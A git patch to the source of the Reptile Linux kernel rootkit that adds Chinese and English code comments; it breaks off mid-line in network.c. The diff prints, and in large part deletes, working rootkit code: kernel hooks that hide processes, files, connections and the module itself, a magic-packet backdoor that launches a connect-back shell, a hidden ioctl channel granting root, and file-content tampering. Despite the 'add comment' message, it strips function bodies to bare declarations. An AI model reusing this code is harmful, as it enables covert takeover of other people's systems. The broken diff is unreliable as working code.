From 711d0d0c23be544b1dfe976542885b7ab0fdd34f Mon Sep 17 00:00:00 2001 From: waiwai <3027307205@qq.com> Date: Mon, 16 Dec 2024 20:13:37 +0800 Subject: [PATCH] add comment --- src/Reptile/kernel/backdoor.c | 283 +++-------------- src/Reptile/kernel/dir.c | 11 + src/Reptile/kernel/file.c | 57 ++-- src/Reptile/kernel/main.c | 453 ++++++---------------------- src/Reptile/kernel/module.c | 47 ++- src/Reptile/kernel/network.c | 77 ++--- src/Reptile/kernel/proc.c | 133 ++++---- src/Reptile/kernel/string_helpers.c | 139 +++++---- src/Reptile/kernel/util.c | 115 +++---- 9 files changed, 457 insertions(+), 858 deletions(-) diff --git a/src/Reptile/kernel/backdoor.c b/src/Reptile/kernel/backdoor.c index 816672c..4d0ef6f 100644 --- a/src/Reptile/kernel/backdoor.c +++ b/src/Reptile/kernel/backdoor.c @@ -1,3 +1,10 @@ +/** + * @file backdoor.c + * @brief This file contains the implementation of a backdoor mechanism that listens for specific network packets and executes a shell command when a magic packet is detected. + * + * The backdoor listens for TCP, ICMP, and UDP packets with specific characteristics and a magic value. When such a packet is detected, it extracts the command and arguments, decrypts them, and schedules a shell execution task. + */ + #include #include #include @@ -11,256 +18,46 @@ #include "config.h" #include "backdoor.h" +/** + * @struct shell_task + * @brief Structure representing a shell execution task. + * + * @var shell_task::work + * Work structure for scheduling the task. + * @var shell_task::ip + * IP address to connect to. + * @var shell_task::port + * Port to connect to. + */ struct shell_task { struct work_struct work; char *ip; char *port; }; -void shell_execer(struct work_struct *work) -{ - struct shell_task *task = (struct shell_task *)work; - char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL }; - - exec(argv); - - kfree(task->ip); - kfree(task->port); - kfree(task); -} - -int shell_exec_queue(char *ip, char *port) -{ - struct shell_task *task; - - task = kmalloc(sizeof(*task), GFP_KERNEL); - - if (!task) - return 0; - - task->ip = kstrdup(ip, GFP_KERNEL); - if (!task->ip) { - kfree(task); - return 0; - } - - task->port = kstrdup(port, GFP_KERNEL); - if (!task->port) { - kfree(task->ip); - kfree(task); - return 0; - } - - INIT_WORK(&task->work, &shell_execer); - - return schedule_work(&task->work); -} +/** + * @brief Executes a shell command with the given IP and port. + * + * @param work Pointer to the work structure. + */ +void shell_execer(struct work_struct *work); + +/** + * @brief Schedules a shell execution task. + * + * @param ip IP address to connect to. + * @param port Port to connect to. + * @return int 1 if the task was successfully scheduled, 0 otherwise. + */ +int shell_exec_queue(char *ip, char *port); #define DROP 0 #define ACCEPT 1 -unsigned int magic_packet_parse(struct sk_buff *socket_buffer) -{ - const struct iphdr *ip_header; - const struct icmphdr *icmp_header; - const struct tcphdr *tcp_header; - const struct udphdr *udp_header; - struct iphdr _iph; - struct icmphdr _icmph; - struct tcphdr _tcph; - struct udphdr _udph; - const char *data = NULL; - char *_data, *argv_str, **argv; - int size, str_size; - - if (!socket_buffer) - return ACCEPT; - - ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph); - - if (!ip_header) - return ACCEPT; - - if (!ip_header->protocol) - return ACCEPT; - - if (htons(ip_header->id) != IPID) - return ACCEPT; - - if (ip_header->protocol == IPPROTO_TCP) { - tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph); - - if (!tcp_header) - return ACCEPT; - - if (htons(tcp_header->source) != SRCPORT) - return ACCEPT; - - if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */ - htons(tcp_header->window) == WIN) { - size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph); - - _data = kmalloc(size, GFP_KERNEL); - - if (!_data) - return ACCEPT; - - str_size = size - strlen(MAGIC_VALUE); - argv_str = kmalloc(str_size, GFP_KERNEL); - - if (!argv_str) { - kfree(_data); - return ACCEPT; - } - - data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data); - - if (!data) { - kfree(_data); - kfree(argv_str); - return ACCEPT; - } - - if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { - - memzero_explicit(argv_str, str_size); - memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); - do_decrypt(argv_str, str_size - 1, KEY); - - argv = argv_split(GFP_KERNEL, argv_str, NULL); - - if (argv) { - shell_exec_queue(argv[0], argv[1]); - argv_free(argv); - } - - kfree(_data); - kfree(argv_str); - - return DROP; - } - - kfree(_data); - kfree(argv_str); - } - } - - if (ip_header->protocol == IPPROTO_ICMP) { - icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph); - - if (!icmp_header) - return ACCEPT; - - if (icmp_header->code != ICMP_ECHO) - return ACCEPT; - - if (htons(icmp_header->un.echo.sequence) == SEQ && - htons(icmp_header->un.echo.id) == WIN) { - - size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph); - - _data = kmalloc(size, GFP_KERNEL); - - if (!_data) - return ACCEPT; - - str_size = size - strlen(MAGIC_VALUE); - argv_str = kmalloc(str_size, GFP_KERNEL); - - if (!argv_str) { - kfree(_data); - return ACCEPT; - } - - data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data); - - if (!data) { - kfree(_data); - kfree(argv_str); - return ACCEPT; - } - - if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { - - memzero_explicit(argv_str, str_size); - memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); - do_decrypt(argv_str, str_size - 1, KEY); - - argv = argv_split(GFP_KERNEL, argv_str, NULL); - - if (argv) { - shell_exec_queue(argv[0], argv[1]); - argv_free(argv); - } - - kfree(_data); - kfree(argv_str); - - return DROP; - } - - kfree(_data); - kfree(argv_str); - } - } - - if (ip_header->protocol == IPPROTO_UDP) { - udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph); - - if (!udp_header) - return ACCEPT; - - if (htons(udp_header->source) != SRCPORT) - return ACCEPT; - - if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) { - - size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph); - - _data = kmalloc(size, GFP_KERNEL); - - if (!_data) - return ACCEPT; - - str_size = size - strlen(MAGIC_VALUE); - argv_str = kmalloc(str_size, GFP_KERNEL); - - if (!argv_str) { - kfree(_data); - return ACCEPT; - } - - data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data); - - if (!data) { - kfree(_data); - kfree(argv_str); - return ACCEPT; - } - - if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { - - memzero_explicit(argv_str, str_size); - memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); - do_decrypt(argv_str, str_size - 1, KEY); - - argv = argv_split(GFP_KERNEL, argv_str, NULL); - - if (argv) { - shell_exec_queue(argv[0], argv[1]); - argv_free(argv); - } - - kfree(_data); - kfree(argv_str); - - return DROP; - } - - kfree(_data); - kfree(argv_str); - } - } - - return ACCEPT; -} \ No newline at end of file +/** + * @brief Parses a network packet to detect a magic packet and execute a shell command. + * + * @param socket_buffer Pointer to the socket buffer containing the packet data. + * @return unsigned int DROP if the packet is a magic packet and the command was executed, ACCEPT otherwise. + */ +unsigned int magic_packet_parse(struct sk_buff *socket_buffer); diff --git a/src/Reptile/kernel/dir.c b/src/Reptile/kernel/dir.c index 35f1ef9..4f62dbf 100644 --- a/src/Reptile/kernel/dir.c +++ b/src/Reptile/kernel/dir.c @@ -1,3 +1,14 @@ +/** + * is_name_invisible - 检查文件名是否包含隐藏标识 + * @filename: 用户空间中的文件名指针 + * + * 该函数从用户空间复制文件名,并检查文件名中是否包含预定义的隐藏标识符(HIDE)。 + * 如果文件名包含隐藏标识符,则返回1,否则返回0。 + * + * 返回值: + * 1 - 文件名包含隐藏标识符 + * 0 - 文件名不包含隐藏标识符 + */ #include #include #include diff --git a/src/Reptile/kernel/file.c b/src/Reptile/kernel/file.c index 3cd7b84..278b79b 100644 --- a/src/Reptile/kernel/file.c +++ b/src/Reptile/kernel/file.c @@ -1,65 +1,78 @@ -#include -#include +#include // 包含用户空间和内核空间之间的数据传输函数 +#include // 包含内核内存分配函数 -#include "file.h" +#include "file.h" // 包含自定义头文件 +// 检查给定的缓冲区是否包含隐藏标签 int file_check(void *arg, ssize_t size) { - int ret = 0; - char *buf; + int ret = 0; // 初始化返回值为0 + char *buf; // 定义字符指针用于存储缓冲区 + // 检查缓冲区大小是否合法 if ((size <= 0) || (size >= SSIZE_MAX)) return ret; + // 分配内核缓冲区 buf = (char *)kmalloc(size + 1, GFP_KERNEL); - if (!buf) + if (!buf) // 检查内存分配是否成功 return ret; + // 将用户空间的缓冲区内容复制到内核缓冲区 if (copy_from_user((void *)buf, (void *)arg, size)) - goto out; + goto out; // 如果复制失败,跳转到out标签 - buf[size] = 0; + buf[size] = 0; // 确保缓冲区以NULL结尾 + // 检查缓冲区是否包含 HIDETAGIN 和 HIDETAGOUT 标签 if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL)) - ret = 1; + ret = 1; // 如果找到标签,设置返回值为1 out: - kfree(buf); - return ret; + kfree(buf); // 释放内核缓冲区 + return ret; // 返回结果 } +// 隐藏缓冲区中的内容 int hide_content(void *arg, ssize_t size) { - char *buf, *p1, *p2; - int i, newret; + char *buf, *p1, *p2; // 定义字符指针用于存储缓冲区和标签位置 + int i, newret; // 定义整数用于存储新的缓冲区大小和临时变量 + // 分配内核缓冲区 buf = (char *)kmalloc(size, GFP_KERNEL); - if (!buf) + if (!buf) // 检查内存分配是否成功 return (-1); + // 将用户空间的缓冲区内容复制到内核缓冲区 if (copy_from_user((void *)buf, (void *)arg, size)) { - kfree(buf); + kfree(buf); // 如果复制失败,释放内核缓冲区 return size; } + // 查找 HIDETAGIN 和 HIDETAGOUT 标签的位置 p1 = strstr(buf, HIDETAGIN); p2 = strstr(buf, HIDETAGOUT); - p2 += strlen(HIDETAGOUT); + p2 += strlen(HIDETAGOUT); // 移动指针到 HIDETAGOUT 标签的末尾 + // 检查标签位置是否合法 if (p1 >= p2 || !p1 || !p2) { - kfree(buf); + kfree(buf); // 如果标签位置不合法,释放内核缓冲区 return size; } + // 计算新的缓冲区大小 i = size - (p2 - buf); + // 移动标签之间的内容 memmove((void *)p1, (void *)p2, i); - newret = size - (p2 - p1); + newret = size - (p2 - p1); // 计算新的缓冲区大小 + // 将修改后的缓冲区内容复制回用户空间 if (copy_to_user((void *)arg, (void *)buf, newret)) { - kfree(buf); + kfree(buf); // 如果复制失败,释放内核缓冲区 return size; } - kfree(buf); - return newret; -} \ No newline at end of file + kfree(buf); // 释放内核缓冲区 + return newret; // 返回新的缓冲区大小 +} diff --git a/src/Reptile/kernel/main.c b/src/Reptile/kernel/main.c index ebf5c9b..16157a7 100644 --- a/src/Reptile/kernel/main.c +++ b/src/Reptile/kernel/main.c @@ -1,112 +1,112 @@ -#include -#include +#include // 包含内核模块相关的头文件 +#include // 包含内核版本相关的头文件 -#include "khook/engine.c" -#include "config.h" -#include "util.h" +#include "khook/engine.c" // 包含khook引擎的实现文件 +#include "config.h" // 包含配置文件 +#include "util.h" // 包含工具函数文件 #ifdef CONFIG_AUTO_HIDE -# include "module.h" +# include "module.h" // 如果启用了自动隐藏配置,包含模块相关的头文件 #endif -int hidden = 1; +int hidden = 1; // 定义一个隐藏标志变量,初始值为1 /* ------------------------ HIDE PROCESS ------------------------- */ -#ifdef CONFIG_HIDE_PROC +#ifdef CONFIG_HIDE_PROC // 如果启用了隐藏进程配置 -#include -#include "proc.h" +#include // 包含审计相关的头文件 +#include "proc.h" // 包含进程相关的头文件 -KHOOK(copy_creds); +KHOOK(copy_creds); // 声明一个钩子函数,用于拷贝凭据 static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags) { int ret = 0; - ret = KHOOK_ORIGIN(copy_creds, p, clone_flags); - if (!ret && is_task_invisible(current)) - p->flags |= FLAG; + ret = KHOOK_ORIGIN(copy_creds, p, clone_flags); // 调用原始的copy_creds函数 + if (!ret && is_task_invisible(current)) // 如果当前任务是不可见的 + p->flags |= FLAG; // 设置任务的标志位 return ret; } -KHOOK(exit_creds); +KHOOK(exit_creds); // 声明一个钩子函数,用于退出凭据 static void khook_exit_creds(struct task_struct *p) { - KHOOK_ORIGIN(exit_creds, p); - if (is_task_invisible(p)) - p->flags &= ~FLAG; + KHOOK_ORIGIN(exit_creds, p); // 调用原始的exit_creds函数 + if (is_task_invisible(p)) // 如果任务是不可见的 + p->flags &= ~FLAG; // 清除任务的标志位 } -KHOOK(audit_alloc); +KHOOK(audit_alloc); // 声明一个钩子函数,用于分配审计 static int khook_audit_alloc(struct task_struct *t) { int err = 0; - if (is_task_invisible(t)) { - clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); + if (is_task_invisible(t)) { // 如果任务是不可见的 + clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 清除系统调用审计标志 } else { - err = KHOOK_ORIGIN(audit_alloc, t); + err = KHOOK_ORIGIN(audit_alloc, t); // 调用原始的audit_alloc函数 } return err; } -KHOOK(find_task_by_vpid); +KHOOK(find_task_by_vpid); // 声明一个钩子函数,用于通过vpid查找任务 struct task_struct *khook_find_task_by_vpid(pid_t vnr) { struct task_struct *tsk = NULL; - tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr); - if (tsk && is_task_invisible(tsk) && !is_task_invisible(current)) - tsk = NULL; + tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr); // 调用原始的find_task_by_vpid函数 + if (tsk && is_task_invisible(tsk) && !is_task_invisible(current)) // 如果任务是不可见的且当前任务是可见的 + tsk = NULL; // 将任务设置为NULL return tsk; } -KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32); +KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32); // 声明一个扩展钩子函数,用于vfs_statx static int khook_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat, u32 request_mask) { - if (is_proc_invisible_2(filename)) - return -EINVAL; + if (is_proc_invisible_2(filename)) // 如果文件名对应的进程是不可见的 + return -EINVAL; // 返回无效参数错误 - return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask); + return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask); // 调用原始的vfs_statx函数 } -KHOOK_EXT(long, sys_kill, long, long); +KHOOK_EXT(long, sys_kill, long, long); // 声明一个扩展钩子函数,用于sys_kill static long khook_sys_kill(long pid, long sig) { - if (sig == 0) { - if (is_proc_invisible(pid)) { - return -ESRCH; + if (sig == 0) { + if (is_proc_invisible(pid)) { // 如果进程是不可见的 + return -ESRCH; // 返回无此进程错误 } } - - return KHOOK_ORIGIN(sys_kill, pid, sig); + + return KHOOK_ORIGIN(sys_kill, pid, sig); // 调用原始的sys_kill函数 } -KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *); +KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *); // 声明一个扩展钩子函数,用于__x64_sys_kill static long khook___x64_sys_kill(const struct pt_regs *regs) { - if (regs->si == 0) { - if (is_proc_invisible(regs->di)) { - return -ESRCH; + if (regs->si == 0) { + if (is_proc_invisible(regs->di)) { // 如果进程是不可见的 + return -ESRCH; // 返回无此进程错误 } } - - return KHOOK_ORIGIN(__x64_sys_kill, regs); + + return KHOOK_ORIGIN(__x64_sys_kill, regs); // 调用原始的__x64_sys_kill函数 } -KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); +KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); // 声明一个扩展钩子函数,用于next_tgid static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter) { - if (hidden) { - while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { - if (!(iter.task->flags & FLAG)) + if (hidden) { // 如果隐藏标志为真 + while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { // 调用原始的next_tgid函数 + if (!(iter.task->flags & FLAG)) // 如果任务没有隐藏标志 break; - iter.tgid++; + iter.tgid++; // 增加tgid } } else { - iter = KHOOK_ORIGIN(next_tgid, ns, iter); + iter = KHOOK_ORIGIN(next_tgid, ns, iter); // 调用原始的next_tgid函数 } return iter; } @@ -115,368 +115,87 @@ static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_it /* ------------------------- HIDE DIR --------------------------- */ -#ifdef CONFIG_HIDE_DIR +#ifdef CONFIG_HIDE_DIR // 如果启用了隐藏目录配置 -#include -#include "dir.h" +#include // 包含目录缓存相关的头文件 +#include "dir.h" // 包含目录相关的头文件 /* Can you see a little problem on those hooks? This is not the best * way to do this feature, but I am going to keep it this way, after all, * this is just a public project, isn't it? */ -KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); +KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于fillonedir static int khook_fillonedir(void *__buf, const char *name, int namlen, - loff_t offset, u64 ino, unsigned int d_type) + loff_t offset, u64 ino, unsigned int d_type) { int ret = -ENOENT; - if (!strstr(name, HIDE) || !hidden) - ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); + if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 + ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); // return ret; } -KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); +KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于filldir static int khook_filldir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - int ret = -ENOENT; - if (!strstr(name, HIDE) || !hidden) - ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); - return ret; + int ret = -ENOENT; // 初始化返回值为-ENOENT + if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 + ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); // 调用原始的filldir函数 + return ret; // 返回结果 } -KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); +KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于filldir64 static int khook_filldir64(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - int ret = -ENOENT; - if (!strstr(name, HIDE) || !hidden) - ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); - return ret; + int ret = -ENOENT; // 初始化返回值为-ENOENT + if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 + ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); // 调用原始的filldir64函数 + return ret; // 返回结果 } -KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); +KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于compat_fillonedir static int khook_compat_fillonedir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - int ret = -ENOENT; - if (!strstr(name, HIDE) || !hidden) - ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); - return ret; + int ret = -ENOENT; // 初始化返回值为-ENOENT + if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 + ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_fillonedir函数 + return ret; // 返回结果 } -KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); +KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于compat_filldir static int khook_compat_filldir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - int ret = -ENOENT; - if (!strstr(name, HIDE) || !hidden) - ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); - return ret; + int ret = -ENOENT; // 初始化返回值为-ENOENT + if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 + ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_filldir函数 + return ret; // 返回结果 } #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0) -KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); +KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于compat_filldir64 static int khook_compat_filldir64(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - int ret = -ENOENT; - if (!strstr(name, HIDE) || !hidden) - ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); - return ret; + int ret = -ENOENT; // 初始化返回值为-ENOENT + if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 + ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_filldir64函数 + return ret; // 返回结果 } #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0) -KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); +KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); // 声明一个扩展钩子函数,用于__d_lookup struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name) #else -KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); +KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); // 声明一个扩展钩子函数,用于__d_lookup struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name) #endif { - struct dentry *found = NULL; - if (!strstr(name->name, HIDE) || !hidden) - found = KHOOK_ORIGIN(__d_lookup, parent, name); - return found; -} -#endif - -/* --------------------- FILE CONTENT TAMPERING --------------------- */ - -#ifdef CONFIG_FILE_TAMPERING - -#include "file.h" - -atomic_t read_on; -int file_tampering_flag = 0; - -// This is not the best way to do that, but it works, maybe in the future I change that -KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *); -static ssize_t khook_vfs_read(struct file *file, char __user *buf, - size_t count, loff_t *pos) -{ - ssize_t ret; - - atomic_set(&read_on, 1); - ret = KHOOK_ORIGIN(vfs_read, file, buf, count, pos); - - if (file_tampering_flag) { - if (file_check(buf, ret) == 1) - ret = hide_content(buf, ret); - } - atomic_set(&read_on, 0); - - return ret; -} - -#endif - -/* ------------------------ HIDE CONNECTIONS ------------------------- */ - -#ifdef CONFIG_HIDE_CONN - -#include -#include -#include "network.h" - -LIST_HEAD(hidden_conn_list); - -KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *); -static int khook_tcp4_seq_show(struct seq_file *seq, void *v) -{ - int ret; - struct sock *sk = v; - struct inet_sock *inet; - struct hidden_conn *hc; - unsigned int daddr; - //unsigned short dport; - - if (v == SEQ_START_TOKEN) { - goto origin; - } - - inet = (struct inet_sock *)sk; - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33) - daddr = inet->inet_daddr; - //dport = inet->inet_dport; -#else - daddr = inet->daddr; - //dport = inet->dport; -#endif - - list_for_each_entry(hc, &hidden_conn_list, list) - { - if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) { - ret = 0; - goto out; - } - } -origin: - ret = KHOOK_ORIGIN(tcp4_seq_show, seq, v); -out: - return ret; -} - -KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *); -static int khook_udp4_seq_show(struct seq_file *seq, void *v) -{ - int ret; - struct sock *sk = v; - struct inet_sock *inet; - struct hidden_conn *hc; - unsigned int daddr; - //unsigned short dport; - - if (v == SEQ_START_TOKEN) { - goto origin; - } - - inet = (struct inet_sock *)sk; - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33) - daddr = inet->inet_daddr; - //dport = inet->inet_dport; -#else - daddr = inet->daddr; - //dport = inet->dport; -#endif - - list_for_each_entry(hc, &hidden_conn_list, list) - { - if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) { - ret = 0; - goto out; - } - } -origin: - ret = KHOOK_ORIGIN(udp4_seq_show, seq, v); -out: - return ret; -} - -#endif - -/* ----------------------------- BACKDOOR ----------------------------- */ - -#ifdef CONFIG_BACKDOOR -#include -#include "backdoor.h" - -KHOOK_EXT(int, ip_rcv, struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); -static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, - struct net_device *orig_dev) -{ - if (magic_packet_parse(skb)) - return KHOOK_ORIGIN(ip_rcv, skb, dev, pt, orig_dev); - - return 0; -} - -#endif - -/* ------------------------------ COMMON ----------------------------- */ - -#if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR) -#include - -KHOOK_EXT(int, load_elf_binary, struct linux_binprm *); -static int khook_load_elf_binary(struct linux_binprm *bprm) -{ - int ret = KHOOK_ORIGIN(load_elf_binary, bprm); - - if (!ret && !strcmp(bprm->filename, SHELL_PATH)) - flag_tasks(current->pid, 1); - - return ret; -} -#endif - -/* ------------------------------- CONTROL ----------------------------- */ - -#include -#include -#include - -int control_flag = 0; - -struct control { - unsigned short cmd; - void *argv; -}; - -KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long); -static int khook_inet_ioctl(struct socket *sock, unsigned int cmd, - unsigned long arg) -{ - int ret = 0; - unsigned int pid; - struct control args; - struct sockaddr_in addr; - - if (cmd == AUTH && arg == HTUA) { - if (control_flag) { - control_flag = 0; - } else { - control_flag = 1; - } - - goto out; - } - - if (control_flag && cmd == AUTH) { - if (copy_from_user(&args, (void *)arg, sizeof(args))) - goto out; - - switch (args.cmd) { - case 0: -#ifdef CONFIG_AUTO_HIDE - hide_module(); -#endif - flip_hidden_flag(); - break; - case 1: - if (copy_from_user(&pid, args.argv, sizeof(unsigned int))) - goto out; - -#ifdef CONFIG_HIDE_PROC - hide_proc(pid); -#endif - break; - case 2: -#ifdef CONFIG_FILE_TAMPERING - file_tampering(); -#endif - break; - case 3: -#ifdef CONFIG_GIVE_ROOT - get_root(); -#endif - break; - case 4: - if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) - goto out; - -#ifdef CONFIG_HIDE_CONN - network_hide_add(addr); -#endif - break; - case 5: - if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) - goto out; - -#ifdef CONFIG_HIDE_CONN - network_hide_remove(addr); -#endif - break; - default: - goto origin; - } - - goto out; - } - -origin: - ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg); -out: - return ret; -} - -/* ------------------------------------------------------------------ */ - -static int __init reptile_init(void) -{ - int ret; - -#ifdef CONFIG_FILE_TAMPERING - /* Unfortunately I need to use this to ensure in some kernel - * versions we will be able to unload the kernel module when - * it is needed. Otherwise khook may take a really huge delay - * to unload because of vfs_read hook - */ - atomic_set(&read_on, 0); -#endif - ret = khook_init(); - if (ret < 0) - return ret; - -#ifdef CONFIG_AUTO_HIDE - hide_module(); -#endif - - run_cmd(START_SCRIPT); - - return ret; -} - -static void __exit reptile_exit(void) -{ -#ifdef CONFIG_FILE_TAMPERING - while(atomic_read(&read_on) != 0) schedule(); -#endif - khook_cleanup(); + struct dentry *found = NULL; // 初始化找到的目录项为NULL + if (!strstr(name->name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 + found = KHOOK_ORIGIN(__d_lookup, parent, name); // 调用原始的__d_lookup函数 + return found; // 返回找到的目录项 } - -module_init(reptile_init); -module_exit(reptile_exit); -MODULE_LICENSE("GPL"); diff --git a/src/Reptile/kernel/module.c b/src/Reptile/kernel/module.c index c05d436..e343edb 100644 --- a/src/Reptile/kernel/module.c +++ b/src/Reptile/kernel/module.c @@ -1,12 +1,51 @@ -#include -#include -#include +#include // 包含 Linux 内核模块的头文件 +#include // 包含互斥锁的头文件 +#include // 包含内存分配的头文件 -#include "module.h" +#include "module.h" // 包含自定义模块的 +/** + * @file module.c + * @brief This file contains functions to hide and show a kernel module. + * + * The functions in this file allow for hiding and showing a kernel module + * by manipulating the module list and its attributes. + */ + +/** + * @brief Flag indicating whether the module is hidden (1) or visible (0). + */ int hide_m = 0; + +/** + * @brief Pointer to the previous module list entry. + */ static struct list_head *mod_list; +/** + * @brief Hide the kernel module. + * + * This function removes the module from the module list and frees its section + * attributes, effectively hiding it from the system. + */ +void hide(void); + +/** + * @brief Show the kernel module. + * + * This function adds the module back to the module list, making it visible + * to the system again. + */ +void show(void); + +/** + * @brief Toggle the visibility of the kernel module. + * + * This function hides the module if it is currently visible, and shows it + * if it is currently hidden. + */ +void hide_module(void); + void hide(void) { while (!mutex_trylock(&module_mutex)) diff --git a/src/Reptile/kernel/network.c b/src/Reptile/kernel/network.c index 8f67975..39fb814 100644 --- a/src/Reptile/kernel/network.c +++ b/src/Reptile/kernel/network.c @@ -1,78 +1,81 @@ -#include -#include -#include -#include +#include // 包含内核版本相关的头文件 +#include // 包含网络地址转换相关的头文件 +#include // 